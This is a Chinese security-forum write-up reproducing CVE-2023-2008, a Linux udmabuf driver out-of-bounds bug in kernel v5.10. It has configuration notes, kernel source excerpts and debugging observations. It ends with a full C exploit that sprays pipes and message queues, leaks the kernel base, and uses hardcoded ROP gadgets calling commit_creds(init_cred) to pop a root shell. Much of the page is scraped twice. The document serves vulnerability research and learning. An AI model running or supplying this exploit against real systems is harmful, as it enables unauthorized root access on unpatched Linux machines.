[原创]CVE-2023-2008复现笔记-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

[原创]CVE-2023-2008复现笔记

发表于: 2024-8-28 14:19 4770

[原创]CVE-2023-2008复现笔记

mb_btcapvow 活跃值

2024-8-28 14:19

4770

1724825793460

commit：2c85ebc57b3e1817b6ce1a6b703928e113a90442

总的config：

defconfig+menuconfig

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(同样是修改了objtool的一个代码)

此外还需要在init脚本中给普通用户赋一个可以打开/dev/udmabuf文件的权限

然后需要没有cg隔离，复现版本v5.10.0刚好不存在cg隔离；（笔者在复现时尽量认为是隔离的，不使用这一特性，本cve比较特殊，需要用到pipe）

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在分配dmabuf的时候，内核会调用 dma_buf_export函数，其中传入一个dma_buf_export_info结构体来传递相关参数信息，该结构体的定义如下：

dma_buf_export函数内容大致如下：

之后还会调用dma_buf_fd等和文件相关的操作，最后返回给我们一个文件描述符；

当然我们重点要关注这里有一个分配页面空间的部分：

如上述代码所示，这里给pages分配了一个指针数组，请记住，后边这里会出现漏洞；

这里我们需要注意的是dmabuf有一个ops成员，这是一个函数表，上面有若干函数指针：

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当我们对dmafd调用mmap时就会调用到mmap_udmabuf函数，下面我们简单看其代码：

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总的来看就是我们可以在kmalloc分配的obj上越界写内核地址；

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在使用 udmabuf 设备之前，需要先使用 memfd_create 创建一个内存文件，然后才能创建 DMA buffer（dmabuf）。这是因为 memfd_create 和 udmabuf 的组合提供了一种机制，将用户空间内存区域转换为可用于 DMA（直接内存访问）操作的缓冲区。以下是这种操作顺序的原因及其背后的机制。

预定义：

memfd_create及其相关处理：

打开设备文件：

然后通过设备文件获取一个udmabuf：

通过mmap进行映射：

通过mremap进行扩展：

笔者在写这部分的时候已经完全复现成功该漏洞；

依据复现过程来看，似乎是dmabuf一经创建就会在其数组中写入若干个内核地址，然后mmap时会与用户空间进行映射，而mremap似乎并没有对这个数组做任何处理，仅仅是放宽了边界条件，使得我们访问的时候不算越界；导致我们越界访问的时候会自动读取数组下面的非法数据作为page_struct；

那么问题来了，这个dma访问内存是否还是一句页表呢？看起来这个访问映射似乎与页表逻辑是不相符的；那么ops函数表中的函数对mmap到底是怎么处理的呢？

源代码路径：

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mmap的操作很简单，就是简单的赋值；

笔者个人感觉是，最开始分配了一些内存（分配物理页，但是要用虚拟地址管理），mmap的时候只分配虚拟地址，并在页表项中设置，到时候第一次访问就会走udmabuf_vm_fault进行物理内存的映射：

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所以可能是mmap写了多少项页表，我们才能访问多少项，这个限制了越界，而mremap则是只修改了页表项，没有扩展这个数组；

这个kmalloc_array函数是在udmabuf_create函数中被调用的，且在内核中被调用的次数比较少，我们可以直接下断点：

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笔者先分配dmabuf、然后喷射内核密钥，之后再扩展dmabuf，似乎并没有越界写内核地址：

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似乎可以写入一个内存地址实现USMA攻击？

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这个pages所指向的应该是page_struct结构体；

我们可以在创建dmabuf之后喷射pipe并set_size，（本环境下没有cg隔离）这样dmabuf下面就会出现一个pipe的page_struct结构体，我们就有了使用用户态地址读写pipe的page的能力了，然后我们将对应的pipe关闭，那么这个page就会被释放掉；

现在我们有了一个能够制作UAF-page的能力，但是应该如何将这个page申请出来呢？

经过调试发现，是因为我们的pipe->ops这个函数表为空，导致了无法成功释放我们的page；

笔者在gdb中将其手动修改之后即可成功命中：

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而直接调试发现，我们命中的pipe_buffer一开始是有ops的：

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然而到了release的时候这个ops指针就被清空了：

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这不得不让笔者想起来之前有一个pipe_read，这个read似乎也调用了一些类似的函数

果然，==如果不读这个pipe，我们的ops就仍然存在==；

现在仍然回到了原来无法重用的问题，继续探究，最终发现是目标物理页的refcount是2，导致close之后没有成功将其free掉；为什么会是2呢？

终于找到了原因，我们==利用dma首次读取该页内容会导致该页的引用计数增加==：

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所以不能通过读dma来获取命中的id，必须盲测；

问题最终得到解决：

我们不对pipe set_size了，就用原来的四则，此时要求我们的dmabuf的个数分别为初始的0x80和扩展后的0x100，然后我们给每个pipe写入超过0x1000字节的数据，用dmabuf越界读pipe的第二个页用来泄露idx，然后再用第一个页作为命中用；

我们关闭命中的pipe之后，set_size，可以成功将释放的物理页喷射出来，然后作为某一个pipe_buffer：

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至此，我们有了任意读写pipe_buffer的能力了！

此时我们可以通过读pipe_buffer中的内容，泄露page_struct的地址和内核代码段的地址；

如果还能有一个可控的内核堆地址，我们就可以利用pipe_buffer劫持控制流进而提权了；

其实也可以利用dirty_pipe直接进行攻击；（但是笔者内核版本有点低，本身就有dirty-pipe，这样似乎有点不雅观。。。）

本来还想用seq_file的，但是太浪费文件描述符了，命中率很低；

可以构造两次cve的利用，想用pg_vec，但是无奈pg_vec使用太多物理页了，我们释放的物理页一不小心就成了pg_vec映射的物理页了，根本没机会用来构造pg_vec；

其实我们只需要有个结构能够泄露一个我们可控的地址就行了；

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bluefrostsecurity/CVE-2023-2008: Proof of concept code for CVE-2023-2008 (github.com)

CVE-2023-2008 - Analyzing and exploiting a bug in the udmabuf driver | Bluefrostsecurity

CONFIG_CONFIGFS_FS=y  #支持img

CONFIG_SECURITYFS=y   #支持img

CONFIG_DEBUG_INFO=y  #调试

CONFIG_USER_NS=y   #支持新的namespace

CONFIG_USERFAULTFD=y #支持userfaultfd

CONFIG_DMABUF=y #支持udmabuf

CONFIG_CONFIGFS_FS=y #支持img

CONFIG_SECURITYFS=y #支持img

CONFIG_DEBUG_INFO=y #调试

CONFIG_USER_NS=y #支持新的namespace

CONFIG_USERFAULTFD=y #支持userfaultfd

CONFIG_DMABUF=y #支持udmabuf

struct dma_buf_export_info {

    const char *exp_name;

    struct module *owner;

    const struct dma_buf_ops *ops;

    size_t size;

    int flags;

    struct dma_resv *resv;

    void *priv;
};

struct dma_buf_export_info {

const char *exp_name;

struct module *owner;

const struct dma_buf_ops *ops;

size_t size;

int flags;

struct dma_resv *resv;

void *priv;

};

struct dma_buf *dma_buf_export(const struct dma_buf_export_info *exp_info)
{

    ...

[1] dmabuf = kzalloc(alloc_size, GFP_KERNEL);

    if (!dmabuf) {

        ret = -ENOMEM;

        goto err_module;

    }

    dmabuf->priv = exp_info->priv;

    dmabuf->ops = exp_info->ops;

    dmabuf->size = exp_info->size;

    dmabuf->exp_name = exp_info->exp_name;

    dmabuf->owner = exp_info->owner;

        ...[2]  file = dma_buf_getfile(dmabuf, exp_info->flags);

    if (IS_ERR(file)) {

        ret = PTR_ERR(file);

        goto err_dmabuf;

    }

    file->f_mode |= FMODE_LSEEK;
[3] dmabuf->file = file;

        ...

    return dmabuf;

struct dma_buf *dma_buf_export(const struct dma_buf_export_info *exp_info)

{

...

[1] dmabuf = kzalloc(alloc_size, GFP_KERNEL);

if (!dmabuf) {

ret = -ENOMEM;

goto err_module;

}

dmabuf->priv = exp_info->priv;

dmabuf->ops = exp_info->ops;

dmabuf->size = exp_info->size;

dmabuf->exp_name = exp_info->exp_name;

dmabuf->owner = exp_info->owner;

...[2] file = dma_buf_getfile(dmabuf, exp_info->flags);

if (IS_ERR(file)) {

ret = PTR_ERR(file);

goto err_dmabuf;

}

file->f_mode |= FMODE_LSEEK;

[3] dmabuf->file = file;

...

return dmabuf;

ubuf = kzalloc(sizeof(*ubuf), GFP_KERNEL);

if (!ubuf)

    return -ENOMEM;

/* calculate number of pages */
pglimit = (size_limit_mb * 1024 * 1024) >> PAGE_SHIFT;

for (i = 0; i < head->count; i++) {

    ubuf->pagecount += list[i].size >> PAGE_SHIFT;

    if (ubuf->pagecount > pglimit)

        goto err;
}

/* allocate array of page pointers */

ubuf->pages = kmalloc_array(ubuf->pagecount, sizeof(*ubuf->pages),

                    GFP_KERNEL);

if (!ubuf->pages) {

    ret = -ENOMEM;

    goto err;
}

ubuf = kzalloc(sizeof(*ubuf), GFP_KERNEL);

if (!ubuf)

return -ENOMEM;

/* calculate number of pages */

pglimit = (size_limit_mb * 1024 * 1024) >> PAGE_SHIFT;

for (i = 0; i < head->count; i++) {

ubuf->pagecount += list[i].size >> PAGE_SHIFT;

if (ubuf->pagecount > pglimit)

goto err;

}

/* allocate array of page pointers */

ubuf->pages = kmalloc_array(ubuf->pagecount, sizeof(*ubuf->pages),

GFP_KERNEL);

if (!ubuf->pages) {

ret = -ENOMEM;

goto err;

}

for (i = 0; i < head->count; i++)
{

    ret = -EBADFD;

    memfd = fget(list[i].memfd);

    if (!memfd)

        goto err;

    if (!shmem_mapping(file_inode(memfd)->i_mapping))

        goto err;

    seals = memfd_fcntl(memfd, F_GET_SEALS, 0);

    if (seals == -EINVAL)

        goto err;

    ret = -EINVAL;

    /* make sure file can only be extended in size but not reduced */

    if ((seals & SEALS_WANTED) != SEALS_WANTED ||

            (seals & SEALS_DENIED) != 0)

        goto err;

    pgoff = list[i].offset >> PAGE_SHIFT;

    pgcnt = list[i].size   >> PAGE_SHIFT;

    for (pgidx = 0; pgidx < pgcnt; pgidx++) {

        /* lookup the page */

        page = shmem_read_mapping_page(

            file_inode(memfd)->i_mapping, pgoff + pgidx);

        /* add the page to the array */

        ubuf->pages[pgbuf++] = page;

    }

    fput(memfd);

    memfd = NULL;
}

for (i = 0; i < head->count; i++)

{

ret = -EBADFD;

memfd = fget(list[i].memfd);

if (!memfd)

goto err;

if (!shmem_mapping(file_inode(memfd)->i_mapping))

goto err;

seals = memfd_fcntl(memfd, F_GET_SEALS, 0);

if (seals == -EINVAL)

goto err;

ret = -EINVAL;

/* make sure file can only be extended in size but not reduced */

if ((seals & SEALS_WANTED) != SEALS_WANTED ||

(seals & SEALS_DENIED) != 0)

goto err;

pgoff = list[i].offset >> PAGE_SHIFT;

pgcnt = list[i].size >> PAGE_SHIFT;

for (pgidx = 0; pgidx < pgcnt; pgidx++) {

/* lookup the page */

page = shmem_read_mapping_page(

file_inode(memfd)->i_mapping, pgoff + pgidx);

/* add the page to the array */

ubuf->pages[pgbuf++] = page;

}

fput(memfd);

memfd = NULL;

}

#define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create)

int mem_fd = memfd_create("test", MFD_ALLOW_SEALING);

  if (mem_fd < 0)

    errx(1, "couldn't create anonymous file");

  /* setup size of anonymous file, the initial size was 0 */

  if (ftruncate(mem_fd,0x1000 * 8) < 0)

    errx(1, "couldn't truncate file length");
 
  /* make sure the file cannot be reduced in size */

  if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0)

    errx(1, "couldn't seal file");
 
  printf("[*] anon file fd=%d (%#x bytes)\n", mem_fd, 0x1000 * 8);

int mem_fd = memfd_create("test", MFD_ALLOW_SEALING);

if (mem_fd < 0)

errx(1, "couldn't create anonymous file");

/* setup size of anonymous file, the initial size was 0 */

if (ftruncate(mem_fd,0x1000 * 8) < 0)

errx(1, "couldn't truncate file length");

/* make sure the file cannot be reduced in size */

if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0)

errx(1, "couldn't seal file");

printf("[*] anon file fd=%d (%#x bytes)\n", mem_fd, 0x1000 * 8);

int dev_fd = open("/dev/udmabuf", O_RDWR);

  if (dev_fd < 0)

    errx(1, "couldn't open device");
 
  printf("[*] udmabuf device fd=%d\n", dev_fd);

int dev_fd = open("/dev/udmabuf", O_RDWR);

if (dev_fd < 0)

errx(1, "couldn't open device");

printf("[*] udmabuf device fd=%d\n", dev_fd);

struct udmabuf_create create = { 0 };

   create.memfd = mem_fd;

   create.size  = PAGE_SIZE * N_PAGES_ALLOC;

   /* reallocate one of the freed holes in kmalloc-1024 */

   int udmabuf_fd = ioctl(dev_fd, UDMABUF_CREATE, &create);

   if (udmabuf_fd < 0)

     errx(1, "couldn't create udmabuf");
 
   printf("[*] udmabuf fd=%d\n", udmabuf_fd);

struct udmabuf_create create = { 0 };

create.memfd = mem_fd;

create.size = PAGE_SIZE * N_PAGES_ALLOC;

/* reallocate one of the freed holes in kmalloc-1024 */

int udmabuf_fd = ioctl(dev_fd, UDMABUF_CREATE, &create);

if (udmabuf_fd < 0)

errx(1, "couldn't create udmabuf");

printf("[*] udmabuf fd=%d\n", udmabuf_fd);

void* udmabuf_map = mmap(NULL, PAGE_SIZE * N_PAGES_ALLOC,

       PROT_READ|PROT_WRITE, MAP_SHARED, udmabuf_fd, 0);

   if (udmabuf_map == MAP_FAILED)

     errx(1, "couldn't map udmabuf");
 
   printf("[*] udmabuf mapped at %p (%#x bytes)\n", 

       udmabuf_map, PAGE_SIZE * N_PAGES_ALLOC);

void* udmabuf_map = mmap(NULL, PAGE_SIZE * N_PAGES_ALLOC,

PROT_READ|PROT_WRITE, MAP_SHARED, udmabuf_fd, 0);

if (udmabuf_map == MAP_FAILED)

errx(1, "couldn't map udmabuf");

printf("[*] udmabuf mapped at %p (%#x bytes)\n",

udmabuf_map, PAGE_SIZE * N_PAGES_ALLOC);

/* remap the virtual mapping expanding its size */

    void* new_udmabuf_map = mremap(udmabuf_map,

        PAGE_SIZE * N_PAGES_ALLOC, PAGE_SIZE * N_PAGES_ALLOC * 2, MREMAP_MAYMOVE);

    if (new_udmabuf_map == MAP_FAILED)

      errx(1, "couldn't remap udmabuf mapping");
 
    printf("[*] udmabuf map expanded at %p (%#x bytes)\n", new_udmabuf_map,

        PAGE_SIZE * N_PAGES_ALLOC * 2);

/* remap the virtual mapping expanding its size */

void* new_udmabuf_map = mremap(udmabuf_map,

PAGE_SIZE * N_PAGES_ALLOC, PAGE_SIZE * N_PAGES_ALLOC * 2, MREMAP_MAYMOVE);

if (new_udmabuf_map == MAP_FAILED)

errx(1, "couldn't remap udmabuf mapping");

printf("[*] udmabuf map expanded at %p (%#x bytes)\n", new_udmabuf_map,

PAGE_SIZE * N_PAGES_ALLOC * 2);

https://elixir.bootlin.com/linux/v5.10/source/drivers/dma-buf/udmabuf.c

gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-2008/vmlinux" -ex "c"

gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-2008/vmlinux" -ex "b *(0xffffffff816b434e)" -ex "c"

https://github.com/bluefrostsecurity/CVE-2023-2008/blob/main/exp.c

https://labs.bluefrostsecurity.de/blog/cve-2023-2008.html

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
 
size_t user_cs, user_ss, user_rflags, user_sp;

void save_status()
{

    asm volatile (

        "mov user_cs, cs;"

        "mov user_ss, ss;"

        "mov user_sp, rsp;"

        "pushf;"

        "pop user_rflags;"

    );

    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
 
void get_root_shell(){

    printf("now pid == %p\n", getpid());

    system("/bin/sh");
}
 
//CPU绑核

void bindCore(int core)
{

    cpu_set_t cpu_set;
 
    CPU_ZERO(&cpu_set);

    CPU_SET(core, &cpu_set);

    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
 
    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
 
#define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create)
#include <sys/mman.h>
#include <sys/syscall.h>
#include "pg_vec.h"
#include "page.h"
 
struct udmabuf_create
{

  uint32_t memfd;

  uint32_t flags;

  uint64_t offset;

  uint64_t size;
};
 
#include "key.h"

int kids[0x100];

void spray_key(int times, int len, char *con){

    char des[0x100];

    memset(des, 0, sizeof(des));

    char pay[0x100];

    memset(pay, 0, sizeof(pay));

    for(int i = 0; i < times; i++){

        memset(des, 'A'+i, 0xa0);

        memset(pay, 'a'+i, len);

        memcpy(pay, con, len);

        kids[i] = key_alloc(des, pay, len);

        printf("kid == %d\n", kids[i]);

    }
}

int pipe1[0x200][2];

void spray_pipe(int times, int start){

    for(int i = 0; i < times; i++){

      if(pipe(pipe1[start+i]) < 0){

        perror("create pipe");

        exit(-1);

      }

      //printf("pipe_fd --> %d, %d\n", pipe1[start+i][0], pipe1[start+i][1]);

    }
}
 
#define TOTAL_PAGES 0x200

size_t data[0x1000];
#define FIRST_NUM 0x80
#define SECOND_NUM 0x200
 
#include "msg.h"

void spray_msg(char *con){

    int kmsg_idx;

    int ms_qid[0x100];

       char msg_buf[0x2000];

    for (int i = 0; i < 0x30; i++)

    {

        ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);

        if (ms_qid[i] < 0)

        {

            puts("[x] msgget!");

            return -1;

        }

    }

    for (int i = 0; i < 0x30; i++)

    {

        memset(msg_buf, 'A', 0x1800 - 8);

        int ret = msgsnd(ms_qid[i], con, 0x1800 - 0x30-0x8, 0);

        if (ret < 0)

        {

            puts("[x] msgsnd!");

            return -1;

        }

    }
 
}
 
size_t kbase ;

int pipe_fd;

size_t add_rsp_0xb8_pop2;

size_t pop_rbp_ret;

size_t leave_ret;

size_t fake_stack;
 
int main(){

    save_status();

    bindCore(0);
 
    unshare_setup();

    page_init();
 
    int mem_fd = memfd_create("test", MFD_ALLOW_SEALING);

  if (mem_fd < 0)

    errx(1, "couldn't create anonymous file");

  /* setup size of anonymous file, the initial size was 0 */

  if (ftruncate(mem_fd,0x1000 * FIRST_NUM) < 0)

    errx(1, "couldn't truncate file length");
 
  /* make sure the file cannot be reduced in size */

  if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0)

    errx(1, "couldn't seal file");
 
  printf("[*] anon file fd=%d (%#x bytes)\n", mem_fd, 0x1000 * FIRST_NUM);
 
    int dev_fd = open("/dev/udmabuf", O_RDWR);

    if (dev_fd < 0)

        errx(1, "couldn't open device");
 
    printf("[*] udmabuf device fd=%d\n", dev_fd);
 
     struct udmabuf_create create = { 0 };

    create.memfd = mem_fd;

    create.size  = 0x1000 * FIRST_NUM;

    /* reallocate one of the freed holes in kmalloc-1024 */

    int udmabuf_fd = ioctl(dev_fd, UDMABUF_CREATE, &create);

    if (udmabuf_fd < 0)

      errx(1, "couldn't create udmabuf");
 
    printf("[*] udmabuf fd=%d\n", udmabuf_fd);
 
    spray_pipe(0x100, 0x0);

    memset(data, 'a', 0x1000);

    for(int i = 0; i < 0x100; i++) {

        write(pipe1[i][1], data, 0x1000);

        write(pipe1[i][1], &i, 0x4);

    }

    puts("spray pipe done");
 
    void* udmabuf_map = mmap(NULL, 0x1000 * FIRST_NUM,

        PROT_READ|PROT_WRITE, MAP_SHARED, udmabuf_fd, 0);

    if (udmabuf_map == MAP_FAILED)

      errx(1, "couldn't map udmabuf");
 
    printf("[*] udmabuf mapped at %p (%#x bytes)\n", 

        udmabuf_map, 0x1000 * FIRST_NUM);
 
    /* remap the virtual mapping expanding its size */

    void* new_udmabuf_map = mremap(udmabuf_map,

        0x1000 * 8, 0x1000 * SECOND_NUM, MREMAP_MAYMOVE);

    if (new_udmabuf_map == MAP_FAILED)

      errx(1, "couldn't remap udmabuf mapping");
 
    printf("[*] udmabuf map expanded at %p (%#x bytes)\n", new_udmabuf_map,

        0x1000 * SECOND_NUM);

    int victim_idx = -1;

    memcpy(&victim_idx, new_udmabuf_map+FIRST_NUM*0x1000+0x5000, 4);

    printf("victim_idx == %d\n", victim_idx);

    int vic2 = -1;

    memcpy(&vic2, new_udmabuf_map+FIRST_NUM*2*0x1000+0x5000, 4);

    printf("vic2 == %d\n", vic2);

    if(victim_idx == -1 || vic2 == -1) exit(0);
 
    //read(pipe1[victim_idx][0], data, 4);

    close(pipe1[victim_idx][0]);

    close(pipe1[victim_idx][1]);

    puts("sleep for 2 second ...");

    sleep(2);
 
    for(int i = 0; i < 0x100; i++){

        if(i == victim_idx) continue;

        if(i == vic2) continue;

        if(fcntl(pipe1[i][1], F_SETPIPE_SZ, 0x1000 * 4 ) < 0){

            printf("%d--%d\n", i, pipe1[i][1]);

            perror("set pipe size error!");

            exit(-1);

        }
 
    }
 
    memcpy(data, new_udmabuf_map+FIRST_NUM*0x1000, 0x1000);

    for(int i = 0; i < 0x200; i++){

      //printf("data -> %p\n", (void *)data[i]);

    }

    size_t page_struct = data[0];

    kbase = data[2] - 0xffffffff82019a40;

    printf("kbase == %p\n", (void *)kbase);

    add_rsp_0xb8_pop2 = kbase + 0xffffffff81078d6b;
 
    close(pipe1[vic2][0]);

    close(pipe1[vic2][1]);

    puts("sleep for 2 second ...");

    sleep(2);
 
    leave_ret = kbase + 0xffffffff8107bd3c;

    pop_rbp_ret = kbase + 0xffffffff81000688;

    size_t init_cred = kbase + 0xffffffff8244c6c0;

    size_t pop_rdi_ret = kbase + 0xffffffff81422e9c;

    size_t commit_creds = kbase + 0xffffffff8108a190;

    size_t ret = kbase + 0xffffffff81422e9d;

    size_t kpti = kbase + 0xffffffff81c00e06;
 
    int k = 0;

    //构造fake_ops

    memset(data, 'a', sizeof(data));

    data[k++] = 0x1234567812345678;

    data[k++] = add_rsp_0xb8_pop2;

    data[k++] = add_rsp_0xb8_pop2;

    data[k++] = add_rsp_0xb8_pop2;

    data[k++] = ret;

    data[k++] = ret;

    data[k++] = pop_rdi_ret;

    data[k++] = init_cred;

    data[k++] = commit_creds;

    data[k++] = kpti;

    data[k++] = 0LL;

    data[k++] = 0LL;

    data[k++] = get_root_shell;

    data[k++] = user_cs;

    data[k++] = user_rflags;

    data[k++] = user_sp;

    data[k++] = user_ss;

    //构造fake_stack
 
    spray_msg(data);
 
    memcpy(data, new_udmabuf_map+FIRST_NUM*2*0x1000, 0x1000);

    size_t fake_ops = -1;

    for(int i = 0; i < 0x200; i++){

      //printf("data -> %p\n", (void *)data[i]);

      if(data[i] >= 0xffff888000000000 && data[i] % 0x1000 == 0){

        fake_ops = data[i] + 0x30;

        break;

      }

    }

    printf("fake_ops == %p\n", (void *)fake_ops);
 
    char *pipe_buffer = new_udmabuf_map+FIRST_NUM*0x1000;

    data[0] = page_struct;

    data[1] = 0x100000000000;

    data[2] = fake_ops;

    memcpy(pipe_buffer, data, 0x18);
 
    fake_stack = fake_ops + 0x20;

    printf("fake_stack == %p\n", (void *)fake_stack);
 
    for(int i = 0; i < 0x100; i++){

        if(i == victim_idx) continue;

        if(i == vic2) continue;

        pipe_fd = pipe1[i][0];

        __asm__(

            "mov rdi, pipe_fd;"

            "mov rsi, 0;"

            "mov rdx, 8;"

            "mov r15, pop_rbp_ret;"

            "mov r14, fake_stack;"

            "mov r13, leave_ret;"

            "mov r12, 0xcccccccc;"

            "mov r11, 0xbbbbbbbb;"

            "mov r10, 0xaaaaaaaaa;"

            "mov r9,  0x99999999;"

            "mov rax, 3;"

            "syscall;"
 
        );

        pipe_fd = pipe1[i][1];

        __asm__(

            "mov rdi, pipe_fd;"

            "mov rsi, 0;"

            "mov rdx, 8;"

            "mov r15, pop_rbp_ret;"

            "mov r14, fake_stack;"

            "mov r13, leave_ret;"

            "mov r12, 0xcccccccc;"

            "mov r11, 0xbbbbbbbb;"

            "mov r10, 0xaaaaaaaaa;"

            "mov r9,  0x99999999;"

            "mov rax, 3;"

            "syscall;"
 
        );

    }
 
    puts("end");

    getchar();
}